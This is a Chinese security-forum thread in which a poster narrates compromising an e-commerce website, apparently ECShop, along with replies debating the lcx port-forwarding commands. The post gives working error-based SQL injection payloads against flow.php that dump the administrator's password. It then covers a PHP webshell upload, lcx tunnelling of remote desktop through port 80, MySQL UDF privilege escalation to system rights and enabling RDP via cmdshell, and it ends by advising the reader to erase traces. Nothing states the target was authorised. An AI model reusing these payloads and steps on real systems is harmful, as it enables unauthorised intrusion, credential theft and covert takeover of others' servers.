[【通过】] lcx端口转发

[复制链接]
匡生六计 发表于 2016-9-26 13:29:35 | 显示全部楼层 |阅读模式

乞丐|主题 |帖子 |积分 -1

打开目标网站看看,看到这个网站版本:

1.png
用nmap扫描:
2.png


下载网站相关源码,在本地搭建环境,做测试,看看网站框架:
看到admin这个文件夹,用浏览器打开看看,成功找到网站后台管理界面:
3.png

然后尝试用adminadmin/123456/admin888等若口令登陆,都没成功:
4.png

既然后台管理这没什么突破,但是我们已经知道了网站框架,不妨用浏览器打开看看,说不定会有收获,比如datatemp等比较重要的目录:

找到一个网站的报错注入点在购物车结算那个页面ip/flow.php,在本机做测试,注入看看查看数据库路径:goods_number%5B2' and updatexml(1,concat(0x5e24,(@@datadir),0x5e24),1) or '1 %5D=1&submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6&step=update_cart
5.png


查看权限:
goods_number%5B2' and updatexml(1,concat(0x5e24,(user()),0x5e24),1) or '1 %5D=1&submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6&step=update_cart

6.png


查看当前数据库名字:

7.png

爆出管理员用户名和密码:为adminhaha123concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#%5D=1&goods_number%5B47%5D=1&submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6&step=update_cart


adminhaha123成功进入后台:
在后台找到一个上传点:

可以直接上传一个php一句话木马,菜刀成功连接: 10.png
查看权限: 11.png

查看开放端口,有个3389,但是不允许外连,此时我们就可以用lce.exe端口转发,经测试,还是不行。然后ping了一下百度,可以ping通,说明网站80端口是允许外连的。那么可以将3389转发到80端口,上传一个lcx.exewwwroot主目录下,然后执行命令: 12.png

在本机上执行命令:lcx.exe 80 6543 13.png

远程连接成功:
14.png

菜刀连接后,在一个user.MYD的文档里找到数据库的用户名 15.png
密码经过MD5加密,40位的,解密时,去前三后一得到用户名和密码为rootroot123查看端口,mysql的默认端口是3306,但是菜刀连不上猜测可能是端口被管理员改了,查看端口看看:输入命令:tasklist /svc,可以看到mysqld-nt.exepid号为1364 16.png


所以可以断定,mysql的端口被改为3307了,然后成功连接数据库了 17.png
然后也可以用mysq提权。上传一个udf.php,进行提权 18.png

浏览器访问: 19.png
连接成功,导出DLLMysql 4.1以前版本对导出udf.dll文件位置无要求,     5.0以后对导出位置做了 限制,只能导出到systemsystem32目录下。     5.1以后只能导出到mysql安装目录下lib/plugin/目录中 20.png

查看权限就是管理员了权限了: 21.png
开启3389命令:select cmdshell('regedit /s d:web3389.reg')  成功获得系统权限注意:完事之后要清理留下的痕迹。


=============================

在校大学生,降低标准给予通过。
                               管理05




评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

牛奶 发表于 2016-9-26 13:46:09 | 显示全部楼层

正式成员|主题 |帖子 |积分 6

lcx很细节 棒
venom 发表于 2016-9-26 13:47:19 | 显示全部楼层

正式成员|主题 |帖子 |积分 6

棒棒的啊!!!
king7 发表于 2016-9-26 13:51:29 | 显示全部楼层

正式成员|主题 |帖子 |积分 139

看了楼上两个评论我以为漏掉了什么精彩的操作,回过头看了两遍。不知道哪里细节了,还是门槛低了。。。
路人  发表于 2016-9-26 14:08:17

正式成员|主题 |帖子 |积分 169

看了楼上两个评论我以为漏掉了什么精彩的操作,回过头看了两遍。不知道哪里细节了,还是门槛低了。。。
ByHuaiNian 发表于 2016-9-26 14:15:40 | 显示全部楼层

正式成员|主题 |帖子 |积分 296

怎么都不设置投票的选项了。。。
Xiaoye10 发表于 2016-9-26 14:59:26 | 显示全部楼层

正式成员|主题 |帖子 |积分 149

挺强势的
谦月Vip4pt 发表于 2016-9-26 15:54:50 | 显示全部楼层

正式成员|主题 |帖子 |积分 186

懂了  在自己上开80 这样子绕过 哈哈
 楼主 匡生六计 发表于 2016-9-26 16:27:31 | 显示全部楼层

乞丐|主题 |帖子 |积分 -1

谦月Vip4pt 发表于 2016-9-26 15:54
懂了  在自己上开80 这样子绕过 哈哈

机智

mtjbyddzqfwdyy 发表于 2016-9-26 18:30:52 | 显示全部楼层

正式成员|主题 |帖子 |积分 195

欢迎加入90一起学习。
另外lcx转发的具体方法请教下,

1.3389不能外链,80可以外链,lcx具体的转发指令是怎么样的。   能讲下吗?截图看不清。

2.这样转发的话,80端口网站访问受影响吗?
谦月Vip4pt 发表于 2016-9-26 20:59:56 | 显示全部楼层

正式成员|主题 |帖子 |积分 186

mtjbyddzqfwdyy 发表于 2016-9-26 18:30
欢迎加入90一起学习。
另外lcx转发的具体方法请教下,

并不是服务器的80端口  是你自己的80端口
mtjbyddzqfwdyy 发表于 2016-9-26 22:09:44 | 显示全部楼层

正式成员|主题 |帖子 |积分 195

谦月Vip4pt 发表于 2016-9-26 20:59
并不是服务器的80端口  是你自己的80端口

QQ图片20160926220723.png
按照他写的,就是把服务器的3389转发到80上了。


不过按照我所知道的,由于防火墙限制可能部分端口无法通过防火墙,此时可以将该主机3389端口透传到防火墙允许的其他端口,如80端口,但指令为:  lcx - tran 53 localhost_IP 3389 。但是看楼主写的好像不是这么操作的,不清楚他是用的什么方法。

-------------------------------------------------------lcx使用方法笔记-----------------------------------------------------------------------
端口转发工具lcx的使用总结以远程桌面使用为例
  
  一、跳板机方式
        即:内网主机A只能通过具备外网访问权限的主机B进行访问,要使得外网主机C能够远程桌面到内网主机A
        1、在跳板主机B上执行如下指令
            lcx -listen 51 3389     //该句话的作用意味着在主机B上将端口51与3389搭桥,使用前提是确保监听端口(51)未被其他服务占用
        2、在内网主机A上执行如下指令
            lcx -slave IP_B 51 IP_A 3389        //该句话的作用是在主机A3389端口与主机B的51端口间建立连接
         3、在外网主机C上如果 希望远程桌面到内网主机A,只需要直接mstsc到主机B即可
        
  二、本地端口转发
        即:由于防火墙限制可能部分端口无法通过防火墙,此时可 以将该主机3389端口透传到防火墙允许的其他端口,如53端口
        lcx - tran 53 localhost_IP 3389
        这样外网可以直接msctc到内网主机IP:53
        
  三、日志记录
         只需要在lcx指令的最后加上 -log logfile_name即可
        
  注:lcx帮助
        lcx -h
        ------------------------------------------------------------------------------
         [Usage of Packet Transmit:]
          lcx -  [-log logfile]
  
        [option:]
          -listen ConnectPort TransmitPort
         -tran   C onnectPort TransmitHost TransmitPort
         -slave ConnectHost ConnectPor TnsmitHost  TransmitPort
      ------------------------------------------------------------------------------



如何知道那些端口对外开放呢?
1:查看本机端口开放了哪些端口,使用netstat命令.
如:cmd> NetStat -an
2:通过netstat命令,比较容易检查出本机开放的端口列表。对于TCP协议的端口,有几种状态,分别是:
LISTENING:表示处于侦听状态,就是说该端口是开放的,等待连接,但还没有被连接。
ESTABLISHED:表示已经建立连接,两台机器正在通信。
TIME_WAIT:结束了这次连接。说明21端口曾经有过访问,但访问结束了。
3:确定某个端口是否打开:Telnet命令,使用方法:cmd>Telnet IP Address Port Number
如:cmd>Telnet  58.211.81.104 80
如果远程计算机端口开放,可以访问,那么回车后就会直接进入终端界面。否则会提示出错。

评分

参与人数 1酒票 +2 收起 理由
管理05 + 2 积极参与讨论

查看全部评分

路人  发表于 2016-9-27 12:38:02

正式成员|主题 |帖子 |积分 228

mtjbyddzqfwdyy 发表于 2016-9-26 22:09
按照他写的,就是把服务器的3389转发到80上了。

是啊,所以说没什么亮点,不知道前面两楼说很棒的原因在哪,可能是我门槛低了。如果是把3389转到80.80再出去比较好说,这个就一个普通的转发引来一波棒棒哒,嗯。。看不懂。。
Strive. 发表于 2016-9-27 17:29:16 | 显示全部楼层

正式成员|主题 |帖子 |积分 146

写的很乱  没看懂你那个3389转到80做什么
芙蓉王 发表于 2016-10-6 19:03:39 | 显示全部楼层

正式成员|主题 |帖子 |积分 201

3389转到80上面怎么弄的怎么没看懂啊帖子里面那种转会不会影响网站啊
webshell 发表于 2016-10-8 20:34:14 | 显示全部楼层

正式成员|主题 |帖子 |积分 137

mtjbyddzqfwdyy 发表于 2016-9-26 22:09
按照他写的,就是把服务器的3389转发到80上了。

你可能理解错了,他说的80端口能外联,是指可以服务区能连接外面的80端口,所以他在本机监听80端口。然后转发到6543就是执行lcx.exe 80 6543 这个语句的意思。
然后他只要在服务器执行  lcx.exe -slave yourip 80 localIP 3389
这样就行了吧,你可能理解过度了。。
fresh 发表于 2016-10-10 16:10:07 | 显示全部楼层

正式成员|主题 |帖子 |积分 43

服务器限制了外联端口,所以转发80
确定mysql端口的姿势,学习了
SubverT 发表于 2016-10-12 00:08:58 | 显示全部楼层

正式成员|主题 |帖子 |积分 3

webshell 发表于 2016-10-8 20:34
你可能理解错了,他说的80端口能外联,是指可以服务区能连接外面的80端口,所以他在本机监听80端口。然后 ...

我同意你的看法
Silence7 发表于 2016-10-16 19:36:20 | 显示全部楼层

正式成员|主题 |帖子 |积分 20

舍近求远 ,南辕北辙 =-=
GT4 发表于 2017-1-28 04:27:36 | 显示全部楼层

正式成员|主题 |帖子 |积分 136

都是过来人 支持下
快速回复 返回顶部 返回列表